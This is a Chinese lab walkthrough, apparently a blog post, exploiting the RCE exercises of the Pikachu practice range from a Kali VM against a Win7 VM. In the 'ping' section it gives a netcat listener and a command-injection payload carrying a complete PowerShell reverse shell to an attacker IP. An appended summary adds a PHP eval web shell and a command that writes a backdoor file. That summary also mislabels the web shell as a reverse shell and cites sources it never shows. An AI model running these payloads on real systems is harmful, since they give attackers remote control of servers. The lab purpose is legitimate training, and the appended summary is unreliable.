九、pikachu靶场--rce

一、rce简介

        iKachu 靶场中的 RCE(Remote Command/Code Execute,远程命令 / 代码执行)漏洞是一种严重的安全漏洞,它允许攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统

二、rce漏洞原理

        应用程序未对用户输入进行严格过滤,直接将输入内容拼接至系统命令、代码执行函数或反序列化过程中,导致攻击者可以注入恶意命令或代码

三、环境准备

(1)win7虚拟机

(2)在win7虚拟机上搭建的pikachu靶场

(3)在win7虚拟机上安装的purbsuite

(4)先前搭建的kali虚拟机

四、实操--exec“ping”

        该漏洞模拟了场景:许多 Web 应用需要与操作系统交互,例如执行 ping 命令检查网络连通性。如果应用直接将用户输入(如 IP 地址)拼接到系统命令中而不进行过滤,攻击者可以注入额外的命令

(1)打开kali终端,输入以下命令:

//详细监听4444端口
nc -lvnp 4444

(2)在pikachu-->rce-->exec“ping”中输入以下命令:

127.0.0.1; cmd.exe /c echo off & setlocal & cd & powershell -NoProfile -Command "$client = New-Object System.Net.Sockets.TCPClient('192.168.226.134',4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $encoding = New-Object System.Text.ASCIIEncoding; $data = $encoding.GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = $encoding.GetBytes($sendback2); $stream.Write($sendbyte, 0, $sendbyte.Length); $stream.Flush()}; $client.Close()"

//其中,192.168.226.134是kali虚拟机的IP地址

点击ping,kali虚拟机若成功截获,则会出现一下提示:

此时,便可以通过kail虚拟机远程操纵win7虚拟机了,分别输入whoami(查看用户名)、ipconfig(查看网络配置)来验证:

在进行远程操作,输入命令catc、notepad,打开win7虚拟机的计算机和记事本:

四、实操--exec“eval”

        eval()是是PHP 中用于执行字符串形式 PHP 代码的函数。若应用将用户可控的输入直接作为eval()的参数,攻击者可注入恶意 PHP代码,从而在服务器上执行任意命令

(1)输入 phpinfo();  ,成功界面如下所示:

(2)输入 system(“whoami”);  ,成功界面如下所示:

(3)输入system(“cact”); 会成功打开win7虚拟机的计算机:

(4)输入system(“ipconfig”); 成功界面如下所示:

### 关于Pikachu靶场中的RCE漏洞 Pikachu是一款专为Web安全学习设计的靶场系统,其中包含了多种常见的Web安全漏洞。对于初学者而言,它提供了一个理想的环境来实践和理解各种攻击向量[^1]。 #### RCE漏洞概述 远程代码执行(Remote Code Execution, RCE)是一种严重的安全漏洞,允许攻击者通过目标系统的应用程序运行任意代码。在Pikachu靶场中,存在多个场景模拟这种类型的漏洞。例如,在`exec "ping"`的功能实现上,如果未对用户输入进行严格过滤,则可能导致恶意命令注入并被执行[^2]。 #### 利用方法示例 以下是几种典型的RCE漏洞利用方式: 1. **创建反向Shell** 攻击者可以通过上传自定义PHP脚本的方式获取更高权限的操作界面。例如,下面这段代码可用于生成一个简单的后门程序: ```php <?php eval($_POST["cmd"]); ?> ``` 将上述内容写入服务器上的某个可访问位置(如`shell.php`),即可通过发送特定请求控制该服务端进程[^4]。 2. **文件操作指令嵌套** 另一种常见手法是在合法功能之外附加额外的动作。比如以下命令会尝试将一段恶意代码保存至临时文本文件中: ```bash echo "<?php @eval(\$_POST['cmd']); ?>" > mm.txt ``` 此外还可以进一步扩展成更复杂的逻辑链路以便长期维持连接通道[^5]。 #### 中文显示问题处理建议 当遇到因字符集不匹配引起的乱码现象时,可以在受影响页面顶部增加指定编码声明语句解决这个问题。具体做法如下所示: ```php header("Content-type:text/html;charset=gb2312"); ``` 不过需要注意的是,这样做可能会影响到其他部分正常展示效果;因此必要时候可以选择有条件启用或者完全移除这条设置行[^3]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值